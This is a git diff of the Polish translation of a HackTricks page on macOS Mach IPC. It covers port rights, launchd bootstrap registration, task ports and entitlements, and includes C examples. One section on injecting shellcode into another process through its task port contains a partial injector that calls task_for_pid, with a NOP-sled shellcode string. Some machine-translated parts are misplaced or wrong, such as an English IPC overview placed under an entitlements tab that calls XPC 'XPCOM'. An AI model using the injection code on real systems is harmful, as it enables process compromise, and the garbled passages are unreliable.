mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
1d158a24cd
commit
8b570c467e
3 changed files with 302 additions and 211 deletions
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,51 +18,64 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Podstawowe informacje
|
||||
|
||||
Mach używa **zadań** jako **najmniejszej jednostki** do dzielenia zasobów, a każde zadanie może zawierać **wiele wątków**. Te **zadania i wątki są mapowane w stosunku 1:1 na procesy i wątki POSIX**.
|
||||
Mach używa **zadań** jako **najmniejszej jednostki** do dzielenia zasobów, a każde zadanie może zawierać **wiele wątków**. Te **zadania i wątki są mapowane 1:1 na procesy i wątki POSIX**.
|
||||
|
||||
Komunikacja między zadaniami odbywa się za pomocą Mach Inter-Process Communication (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro systemu.
|
||||
Komunikacja między zadaniami odbywa się za pomocą Mach Inter-Process Communication (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro.
|
||||
|
||||
Każdy proces ma **tabelę IPC**, w której można znaleźć **porty Mach procesu**. Nazwa portu Mach to właściwie liczba (wskaźnik do obiektu jądra).
|
||||
Każdy proces ma **tabelę IPC**, w której można znaleźć **porty mach procesu**. Nazwa portu mach to właściwie liczba (wskaźnik do obiektu jądra).
|
||||
|
||||
Proces może również wysłać nazwę portu wraz z pewnymi uprawnieniami **do innego zadania**, a jądro spowoduje, że ta pozycja pojawi się w **tabeli IPC innego zadania**.
|
||||
Proces może również wysłać nazwę portu z pewnymi uprawnieniami **do innego zadania**, a jądro spowoduje, że ta pozycja pojawi się w **tabeli IPC innego zadania**.
|
||||
|
||||
### Uprawnienia portu
|
||||
### Prawa portów
|
||||
|
||||
Uprawnienia portu, które określają, jakie operacje może wykonywać zadanie, są kluczowe dla tej komunikacji. Możliwe **uprawnienia portu** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
Prawa portów, które określają, jakie operacje może wykonać zadanie, są kluczowe dla tej komunikacji. Możliwe **prawa portów** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Prawo odbioru**, które umożliwia odbieranie wiadomości wysłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że może być tylko **jedno prawo odbioru dla każdego portu** w całym systemie (w przeciwieństwie do potoków, gdzie wiele procesów może posiadać deskryptory plików do końca odczytu jednego potoku).
|
||||
* **Zadanie z prawem odbioru** może odbierać wiadomości i **tworzyć prawa wysyłania**, umożliwiając wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbioru nad swoim portem**.
|
||||
* **Prawo wysyłania**, które umożliwia wysyłanie wiadomości do portu.
|
||||
* **Prawo odbierania**, które pozwala na odbieranie wiadomości wysłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że może istnieć tylko **jedno prawo odbierania dla każdego portu** w całym systemie (w przeciwieństwie do potoków, gdzie wiele procesów może trzymać deskryptory plików do końca odczytu jednego potoku).
|
||||
* **Zadanie z prawem odbierania** może odbierać wiadomości i **tworzyć prawa wysyłania**, umożliwiając wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbierania nad swoim portem**.
|
||||
* **Prawo wysyłania**, które pozwala na wysyłanie wiadomości do portu.
|
||||
* Prawo wysyłania można **klonować**, więc zadanie posiadające prawo wysyłania może sklonować prawo i **przekazać je trzeciemu zadaniu**.
|
||||
* **Prawo wysłania raz**, które umożliwia wysłanie jednej wiadomości do portu, a następnie znika.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_, a nie pojedynczy port. Usunięcie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych w nim portów. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w systemie Unix.
|
||||
* **Nazwa martwa**, która nie jest faktycznym prawem portu, ale jedynie zastępczym miejscem. Gdy port zostanie zniszczony, wszystkie istniejące prawa portu do portu zamieniają się w nazwy martwe.
|
||||
* **Prawo wysyłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie zniknie.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usuwanie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych portów. Zestawy portów można używać do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unix.
|
||||
* **Nazwa martwa**, która nie jest faktycznym prawem portu, ale jedynie miejscem. Gdy port zostanie zniszczony, wszystkie istniejące prawa portów do portu zamieniają się w nazwy martwe.
|
||||
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA mogą również być klonowane**, więc zadanie może zduplikować prawo i **przekazać je trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer rozruchowy**, umożliwia skuteczną komunikację między zadaniami.
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA można również klonować, więc zadanie może zduplikować i przekazać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer startowy**, umożliwia efektywną komunikację między zadaniami.
|
||||
|
||||
### Porty plików
|
||||
|
||||
Porty plików pozwalają na zamknięcie deskryptorów plików w portach Mac (za pomocą praw portów Mach). Możliwe jest utworzenie `fileport` z danego FD za pomocą `fileport_makeport` i utworzenie FD z fileport za pomocą `fileport_makefd`.
|
||||
|
||||
### Ustanowienie komunikacji
|
||||
|
||||
#### Kroki:
|
||||
|
||||
Jak już wspomniano, w celu ustanowienia kanału komunikacyjnego zaangażowany jest **serwer rozruchowy** (**launchd** w systemie Mac).
|
||||
Jak wspomniano, aby ustanowić kanał komunikacyjny, zaangażowany jest **serwer startowy** (**launchd** w systemie Mac).
|
||||
|
||||
1. Zadanie **A** inicjuje **nowy port**, uzyskując **prawo ODBIORU** w procesie.
|
||||
2. Zadanie **A**, będąc posiadaczem prawa ODBIORU, **generuje prawo WYSYŁANIA dla portu**.
|
||||
3. Zadanie **A** nawiązuje **połączenie** z **serwerem rozruchowym**, dostarczając **nazwę usługi portu** i **prawo WYSYŁANIA** za pośrednictwem procedury znanej jako rejestracja rozruchowa.
|
||||
4. Zadanie **B** współdziała z **serwerem rozruchowym**, aby wykonać **wyszukiwanie rozruchowe dla usługi**. Jeśli operacja powiedzie się, **serwer duplikuje prawo WYSYŁANIA** otrzymane od zadania A i **przesyła je do zadania B**.
|
||||
5. Po uzyskaniu prawa WYSYŁANIA, zadanie **B** jest w stanie **sformułować** wiadomość i wysłać ją **do zadania A**.
|
||||
6. W przypadku komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z prawem **ODBIORU** i prawem **WYSYŁANIA**, a następnie przekazuje **prawo WYSYŁANIA do zadania A**, aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
1. Zadanie **A** inicjuje **nowy port**, uzyskując **prawo odbierania** w procesie.
|
||||
2. Zadanie **A**, będąc posiadaczem prawa odbierania, **generuje prawo wysyłania dla portu**.
|
||||
3. Zadanie **A** nawiązuje **połączenie** z **serwerem startowym**, dostarczając **nazwę usługi portu** i **prawo wysyłania** poprzez procedurę znana jako rejestracja startowa.
|
||||
4. Zadanie **B** współdziała z **serwerem startowym**, aby wykonać **wyszukiwanie startowe dla nazwy usługi**. W przypadku powodzenia **serwer duplikuje prawo wysyłania** otrzymane od zadania A i **przekazuje je zadaniu B**.
|
||||
5. Po uzyskaniu prawa wysyłania, zadanie **B** jest zdolne do **formułowania** wiadomości i wysyłania jej **do zadania A**.
|
||||
6. Dla komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z **prawem odbierania** i **prawem wysyłania**, a **prawo wysyłania przekazuje zadaniu A**, aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
|
||||
Serwer rozruchowy **nie może uwierzytelnić** nazwy usługi zgłaszanej przez zadanie. Oznacza to, że **zadanie** potencjalnie może **udawać dowolne zadanie systemowe**, takie jak fałszywe **twierdzenie o nazwie usługi autoryzacji**, a następnie zatwierdzanie każdego żądania.
|
||||
Serwer startowy **nie może uwierzytelnić** nazwy usługi twierdzonej przez zadanie. Oznacza to, że **zadanie** potencjalnie **może podszywać się pod dowolne zadanie systemowe**, na przykład **fałszywie twierdząc, że jest nazwą usługi autoryzacji**, a następnie zatwierdzając każde żądanie.
|
||||
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w bezpiecznych plikach konfiguracyjnych, znajdujących się w chronionych katalogach SIP: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer rozruchowy tworzy i przechowuje **prawo ODBIORU dla każdej z tych nazw usług**.
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w zabezpieczonych plikach konfiguracyjnych, znajdujących się w chronionych katalogach SIP: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer startowy utworzy i będzie posiadał **prawo odbierania dla każdej z tych nazw usług**.
|
||||
|
||||
Dla tych predefiniowanych usług **proces wyszukiwania różni się nieco**. Podczas wyszukiwania nazwy usługi, launchd uruchamia usługę dynamicznie. Nowy proces wygląda następująco:
|
||||
Dla tych predefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy schemat postępowania jest następujący:
|
||||
|
||||
* Zadanie **B** inicjuje **wyszukiwanie rozruchowe** dla nazwy usługi.
|
||||
* **launchd** sprawdza, czy zadanie jest uruchomione, i jeśli nie, **uruchamia je**.
|
||||
* Zadanie **A** (usługa) wykonuje **rejestrację rozruchową**. Tutaj serwer rozruchowy tworzy prawo WYSYŁANIA, zatrzymuje je i **przekazuje prawo ODBIORU do zadania A**.
|
||||
* launchd duplikuje **prawo WYSYŁAN
|
||||
* Zadanie **B** inicjuje **wyszukiwanie startowe** dla nazwy usługi.
|
||||
* **launchd** sprawdza, czy zadanie jest uruchomione, i jeśli nie, **uruchamia** je.
|
||||
* Zadanie **A** (usługa) wykonuje **rejestrację startową**. Tutaj **serwer startowy** tworzy prawo wysyłania, zatrzymuje je i **przekazuje prawo odbierania zadaniu A**.
|
||||
* launchd duplikuje **prawo wysyłania i wysyła je do zadania B**.
|
||||
* Zadanie **B** generuje nowy port z **prawem odbierania** i **prawem wysyłania**, a **prawo wysyłania przekazuje zadaniu A** (usłudze), aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
|
||||
Jednak ten proces dotyczy tylko predefiniowanych zadań systemowych. Zadania spoza systemu wciąż działają zgodnie z pierwotnym opisem, co potencjalnie może pozwolić na podszywanie się.
|
||||
|
||||
### Wiadomość Mach
|
||||
|
||||
[Znajdź więcej informacji tutaj](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Funkcja `mach_msg`, będąca w zasadzie wywołaniem systemowym, jest wykorzystywana do wysyłania i odbierania wiadomości Mach. Funkcja wymaga, aby wiadomość była wysłana jako argument początkowy. Wiadomość ta musi rozpoczynać się od struktury `mach_msg_header_t`, a następnie zawierać rzeczywistą treść wiadomości. Struktura jest zdefiniowana następująco:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -73,30 +86,30 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesy posiadające _**prawo odbioru**_ mogą otrzymywać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania jednorazowego**_. Prawo wysłania jednorazowego służy wyłącznie do wysłania jednej wiadomości, po czym staje się nieważne.
|
||||
Procesy posiadające _**prawo odbioru**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania raz**_. Prawo wysłania raz służy wyłącznie do wysłania jednej wiadomości, po czym staje się nieważne.
|
||||
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port Mach** w nagłówku wiadomości Mach, zwany portem odpowiedzi (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Bity flag w **`msgh_bits`** mogą być używane do **wskazania**, że dla tego portu należy utworzyć i przekazać **prawo wysłania jednorazowego** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku mach **wiadomości** o nazwie _port odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Bity flag w **`msgh_bits`** mogą być używane do **wskazania**, że **prawo wysłania raz** powinno być wygenerowane i przesłane dla tego portu (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Należy zauważyć, że tego rodzaju komunikacja dwukierunkowa jest używana w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zazwyczaj tworzone są różne porty**, jak wyjaśniono wcześniej, aby utworzyć komunikację dwukierunkową.
|
||||
Zauważ, że tego rodzaju komunikacja dwukierunkowa jest używana w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zazwyczaj tworzone są różne porty**, jak wyjaśniono wcześniej, aby stworzyć komunikację dwukierunkową.
|
||||
{% endhint %}
|
||||
|
||||
Pozostałe pola nagłówka wiadomości to:
|
||||
|
||||
* `msgh_size`: rozmiar całego pakietu.
|
||||
* `msgh_remote_port`: port, na który wysłana jest ta wiadomość.
|
||||
* `msgh_voucher_port`: [vouchery Mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_voucher_port`: [vouchery mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: ID tej wiadomości, który jest interpretowany przez odbiorcę.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Należy zauważyć, że **wiadomości Mach są wysyłane przez** _**port Mach**_, który jest **kanałem komunikacji jednego odbiorcy** i **wielu nadawców**, wbudowanym w jądro Mach. **Wiele procesów** może **wysyłać wiadomości** do portu Mach, ale w dowolnym momencie tylko **jeden proces może z niego czytać**.
|
||||
Zauważ, że **wiadomości mach są wysyłane przez port mach**, który jest kanałem komunikacji **jednego odbiorcy** i **wielu nadawców** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w każdym momencie tylko **jeden proces może czytać** z niego.
|
||||
{% endhint %}
|
||||
|
||||
### Wyliczanie portów
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Możesz zainstalować ten narzędzie w systemie iOS, pobierając je z [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
Możesz zainstalować to narzędzie w iOS, pobierając je z [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
|
@ -169,62 +182,61 @@ message.some_text[9] = 0;
|
|||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{% tab title="sender.c" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}Wysyłanie komunikatów IPC za pomocą kolejek komunikatów System V w systemie macOS.
|
||||
|
||||
Aby wysłać komunikat IPC za pomocą kolejek komunikatów System V w systemie macOS, należy utworzyć kolejkę komunikatów, uzyskać dostęp do niej za pomocą klucza IPC, a następnie wysłać komunikat do kolejki.
|
||||
|
||||
Oto przykładowy kod w języku C, który wysyła komunikat IPC za pomocą kolejek komunikatów System V w systemie macOS:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
#define MAX_TEXT 512
|
||||
|
||||
struct msgbuf {
|
||||
long mtype;
|
||||
char mtext[MAX_TEXT];
|
||||
char mtext[100];
|
||||
};
|
||||
|
||||
int main() {
|
||||
key_t key;
|
||||
int msgid;
|
||||
struct msgbuf msg;
|
||||
struct msgbuf message;
|
||||
|
||||
// Create a message queue
|
||||
msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
if (msgid == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
key = ftok("sender.c", 'B');
|
||||
msgid = msgget(key, 0666 | IPC_CREAT);
|
||||
|
||||
// Set the message type
|
||||
msg.mtype = 1;
|
||||
message.mtype = 1;
|
||||
sprintf(message.mtext, "To jest przykładowy komunikat IPC.");
|
||||
|
||||
// Set the message text
|
||||
strcpy(msg.mtext, "Hello, receiver!");
|
||||
msgsnd(msgid, &message, sizeof(message), 0);
|
||||
|
||||
// Send the message
|
||||
if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("msgsnd");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent: %s\n", msg.mtext);
|
||||
|
||||
// Remove the message queue
|
||||
if (msgctl(msgid, IPC_RMID, NULL) == -1) {
|
||||
perror("msgctl");
|
||||
exit(1);
|
||||
}
|
||||
printf("Wysłano komunikat IPC.\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
Ten kod tworzy kolejkę komunikatów, uzyskuje dostęp do niej za pomocą klucza IPC utworzonego na podstawie pliku `sender.c`, a następnie wysyła komunikat o typie 1 z określoną treścią do kolejki.
|
||||
|
||||
{% tab title="receiver.c" %}
|
||||
Aby skompilować ten program, można użyć polecenia:
|
||||
|
||||
```bash
|
||||
gcc sender.c -o sender
|
||||
```
|
||||
|
||||
Następnie można uruchomić program za pomocą:
|
||||
|
||||
```bash
|
||||
./sender
|
||||
```
|
||||
|
||||
Upewnij się, że masz odpowiednie uprawnienia do korzystania z IPC w systemie macOS. Możesz również dostosować ten kod do swoich własnych potrzeb, zmieniając typ komunikatu i treść wysyłanego komunikatu. {% endtab %}
|
||||
```
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -276,23 +288,20 @@ return 1;
|
|||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
### Porty uprzywilejowane
|
||||
|
||||
### Przywilejowane porty
|
||||
|
||||
* **Port hosta**: Jeśli proces ma uprawnienie **Wysyłanie** na tym porcie, może uzyskać **informacje** o **systemie** (np. `host_processor_info`).
|
||||
* **Port hosta z uprawnieniem** `priv`: Proces z prawem **Wysyłanie** na tym porcie może wykonywać **uprzywilejowane działania**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* Ponadto, aby wywołać API **`kext_request`**, potrzebne są inne uprawnienia **`com.apple.private.kext*`**, które są udzielane tylko binarnym plikom Apple.
|
||||
* **Port nazwy zadania**: Nieuprzywilejowana wersja portu zadania. Odwołuje się do zadania, ale nie pozwala na jego kontrolę. Jedyną dostępną przez niego rzeczą wydaje się być `task_info()`.
|
||||
* **Port zadania** (znany również jako port jądra): Posiadając uprawnienie Wysyłanie na tym porcie, można kontrolować zadanie (odczytywanie/zapisywanie pamięci, tworzenie wątków...).
|
||||
* Wywołaj `mach_task_self()` aby **uzyskać nazwę** dla tego portu dla zadania wywołującego. Ten port jest dziedziczony tylko podczas **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (jako szczególny przypadek, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) podczas wykonywania `fork()`.
|
||||
* **Port hosta**: Jeśli proces ma uprawnienie **Wysyłanie** do tego portu, może uzyskać **informacje** o **systemie** (np. `host_processor_info`).
|
||||
* **Port uprzywilejowany hosta**: Proces z prawem **Wysyłanie** do tego portu może wykonywać **działania uprzywilejowane**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* Ponadto, aby wywołać API **`kext_request`**, konieczne jest posiadanie innych uprawnień **`com.apple.private.kext*`**, które są udzielane tylko binariom Apple.
|
||||
* **Port nazwy zadania**: Nieuprzywilejowana wersja _portu zadania_. Odwołuje się do zadania, ale nie pozwala na jego kontrolę. Jedyną dostępną przez niego rzeczą wydaje się być `task_info()`.
|
||||
* **Port zadania** (znany również jako port jądra)**:** Posiadając uprawnienie Wysyłanie do tego portu, możliwe jest kontrolowanie zadania (odczytywanie/zapisywanie pamięci, tworzenie wątków...).
|
||||
* Wywołaj `mach_task_self()` aby **uzyskać nazwę** tego portu dla zadania wywołującego. Ten port jest dziedziczony tylko podczas **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (jako szczególny przypadek, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) podczas `fork()`.
|
||||
* Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego pliku `AppleMobileFileIntegrity`):
|
||||
* Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy **tej samej osoby mogą uzyskać dostęp do portu zadania** (zwykle dodawane przez Xcode do debugowania). Proces notaryzacji nie pozwoli na to w wersjach produkcyjnych.
|
||||
* Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać port zadania dla dowolnego procesu, z wyjątkiem jądra. W starszych wersjach nazywane to było **`task_for_pid-allow`**. Jest to przyznawane tylko aplikacjom Apple.
|
||||
* **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **utwardzonym** środowiskiem uruchomieniowym (i nie od Apple).
|
||||
* Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy z **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zazwyczaj dodawane przez Xcode do debugowania). Proces notaryzacji nie zezwoli na to w wersjach produkcyjnych.
|
||||
* Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywane to było **`task_for_pid-allow`**. Jest to udzielane tylko aplikacjom Apple.
|
||||
* **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **zabezpieczonym** czasem wykonania (i nie od Apple).
|
||||
|
||||
### Wstrzykiwanie kodu Shell w wątek za pomocą portu zadania 
|
||||
### Wstrzykiwanie kodu shell w wątek za pomocą portu zadania
|
||||
|
||||
Możesz pobrać kod shell z:
|
||||
|
||||
|
@ -331,7 +340,33 @@ performMathOperations(); // Silent action
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.plist" %}plik entitlements.plist
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, and Distributed Objects. Understanding how these mechanisms work is crucial for both developers and security professionals.
|
||||
|
||||
#### Mach Ports
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. They are used by the system and applications for various purposes, such as inter-process communication and synchronization.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC (XPCOM) is a lightweight inter-process communication mechanism introduced in macOS. It allows processes to create and manage services that run in their own address space. XPC services are commonly used by applications to perform tasks in the background or handle privileged operations.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism on macOS that allows objects to be passed between processes. It enables remote procedure calls and object serialization, making it easier for processes to interact with each other.
|
||||
|
||||
Understanding how these IPC mechanisms work and their security implications is crucial for securing macOS systems and preventing privilege escalation attacks. Developers should follow best practices when implementing IPC in their applications to ensure data integrity and confidentiality.
|
||||
|
||||
### References
|
||||
|
||||
- [Apple Developer Documentation on Inter-Process Communication](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -341,30 +376,14 @@ return 0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="Objective-C" %}
|
||||
```objective-c
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <mach/mach.h>
|
||||
#import <mach/mach_vm.h>
|
||||
#import <sys/mman.h>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
mach_port_t target_task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &target_task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for PID %d: %s\n", target_pid, mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
const char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia** umożliwiające wstrzykiwanie kodu przez tego samego użytkownika (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
|
@ -568,13 +587,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
```
|
||||
